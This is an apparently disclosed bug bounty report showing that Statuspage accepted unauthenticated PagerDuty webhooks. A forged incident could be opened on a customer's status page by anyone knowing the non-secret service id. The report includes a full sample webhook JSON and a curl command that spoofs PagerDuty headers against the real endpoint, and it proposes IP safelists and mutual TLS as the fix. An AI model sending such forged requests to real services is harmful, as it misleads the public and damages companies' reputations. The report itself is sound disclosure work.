Summary by Statuspage
No authentication of PagerDuty webhooks vulnerability in Statuspage
No authentication of PagerDuty webhooks vulnerability in Statuspage
Hi, can this report be disclosed, since it has been fixed?
manage.statuspage.io
Web App
https://manage.statuspage.io/pagerduty_webhooks/create
StatusPage has an integration with PagerDuty that allows the customer to create a StatusPage incident automatically when a PagerDuty incident is created. This is done by listening for PagerDuty webhooks at the URL https://manage.statuspage.io/pagerduty_webhooks/create
StatusPage does not validate that the webhook sender is PagerDuty. As such, anyone can send a webhook with the right content to the above StatusPage URL and have it open an incident. The only piece of information an attacker needs to know is the victim's PagerDuty "Service Id" which is categorically not a secret. The Service Id is a short alphanumeric string e.g "P92PZQJ".
For example, if an attacker knows that a pagerduty service id is configured by one of StatusPage's customers (Acme Inc), they can simply send a curl request to open a fake incident on Acme's StatusPage.io page. In addition to confusing Acme's customers, this has the potential to severely damage Acme's reputation. Note that the service id is not secret on the pagerduty side. As such, a non-privileged user in PagerDuty who has no access to create an incident in PagerDuty could still be able to view the service id (they have read-only views via both API and the website). However, this vulnerability would enable them to bypass PagerDuty altogether and create a fake incident directly on StatusPage.
Replace the PagerDuty service id with the victim's known service id. Example shown:
"messages": [
{
"type": "incident.trigger",
"data": {
"incident": {
"id": "PIMZBR3",
"incident_number": 42,
"created_on": "2020-07-13T07:19:17Z",
"status": "triggered",
"pending_actions": [],
"html_url": "https://lean-java.pagerduty.com/incidents/PIMZBR3",
"incident_key": "cf973b15f8b14be7b4b6f314e8047fa7",
"service": {
"id": "P92PZQJ", ------------------> replace this
"name": "LJ Status Page",
"html_url": "https://lean-java.pagerduty.com/service-directory/P92PZQJ",
"deleted_at": null,
"description": "Service for statuspage.io integration"
},
"escalation_policy": {
"id": "PPDGHVJ",
"name": "Default",
"deleted_at": null
},
"assigned_to_user": {
"id": "PIMGTPX",
"name": "Ameya Lokare",
"email": "lokare.ameya@gmail.com",
"html_url": "https://lean-java.pagerduty.com/users/PIMGTPX"
},
"trigger_summary_data": {
"subject": "status page incident to copy"
},
"trigger_details_html_url": "https://lean-java.pagerduty.com/incidents/PIMZBR3/log_entries/R9AGHIQS2TLTCKMAJKAJ7MUBZ6",
"trigger_type": "web_trigger",
"last_status_change_on": "2020-07-13T07:19:17Z",
"last_status_change_by": null,
"number_of_escalations": null,
"assigned_to": [
{
"at": "2020-07-13T07:19:17Z",
"object": {
"id": "PIMGTPX",
"name": "Ameya Lokare",
"email": "lokare.ameya@gmail.com",
"html_url": "https://lean-java.pagerduty.com/users/PIMGTPX",
"type": "user"
}
}
],
"urgency": "high"
}
},
"id": "29e389a2-c4d9-11ea-8134-0242c0a82a05",
"created_on": "2020-07-13T07:19:17Z"
}
]
}
Send request to StatusPage webhook listener using curl:
curl -X 'POST' 'https://manage.statuspage.io/pagerduty_webhooks/create' -H 'content-type: application/json' -H 'user-agent: PagerDuty-Webhook/V1.0' -H 'x-webhook-id: 9f981ef8-c4d7-11ea-a692-0242c0a82a05' -H 'accept: application/json' -d @pagerduty_webhook.json
Use PagerDuty's IP safelists and mutual TLS to authenticate that the webhook sender is PagerDuty.